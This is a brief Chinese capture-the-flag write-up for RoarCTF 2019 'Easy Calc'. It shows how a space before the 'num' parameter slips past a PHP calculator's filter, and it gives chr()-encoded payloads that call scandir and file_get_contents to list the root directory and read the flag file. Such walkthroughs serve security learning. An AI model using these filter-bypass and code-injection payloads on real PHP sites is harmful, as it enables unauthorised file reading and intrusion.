[RoarCTF 2019]Easy Calc1

打开题目

查看源码,看到

看到源代码有 calc.php,构造url打开

看到php审计代码,

由于页面中无法上传num,则输入 num,在num前加入一个空格可以让num变得可以上传,而且在进行代码解析时,php会把前面的空格去除。

由于不能使用很多的字符,可以使用file_get_contents()函数,将ascii码转化为字符来绕过。

构造? num=var_dump(scandir(chr(47)))

scandair可以列出指定路径中的文件目录。

得到flag

复制代码
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
相关推荐
mcooiedo11 小时前
RabbitMQ高级特性----生产者确认机制
分布式·rabbitmq
0xDevNull11 小时前
RabbitMQ 完整技术指南
分布式·rabbitmq
一叶飘零_sweeeet12 小时前
消息队列选型终极指南:Kafka、RocketMQ、RabbitMQ 底层原理与场景化选型全解
架构·kafka·rabbitmq·rocketmq·消息队列选型
姓蔡小朋友12 小时前
RabbitMQ
分布式·rabbitmq
今天和Aboo结婚了吗16 小时前
【Broker一重启消息没了:一次RabbitMQ非持久化+没开Confirm的血亏事故】
java·rabbitmq·messagequeue·bug排查
standovon1 天前
RabbitMQ 的介绍与使用
分布式·rabbitmq·ruby
0xDevNull2 天前
消息中间件:从起源到选型指南
kafka·rabbitmq
少许极端2 天前
消息队列-RabbitMQ(1)
分布式·消息队列·rabbitmq
&&月弥3 天前
三大开源消息队列(Kafka、RabbitMQ、RocketMQ)使用教程
kafka·开源·rabbitmq
江沉晚呤时3 天前
.NET 9 快速上手 RabbitMQ 直连交换机:高效消息传递实战指南
开发语言·分布式·后端·rabbitmq·.net·ruby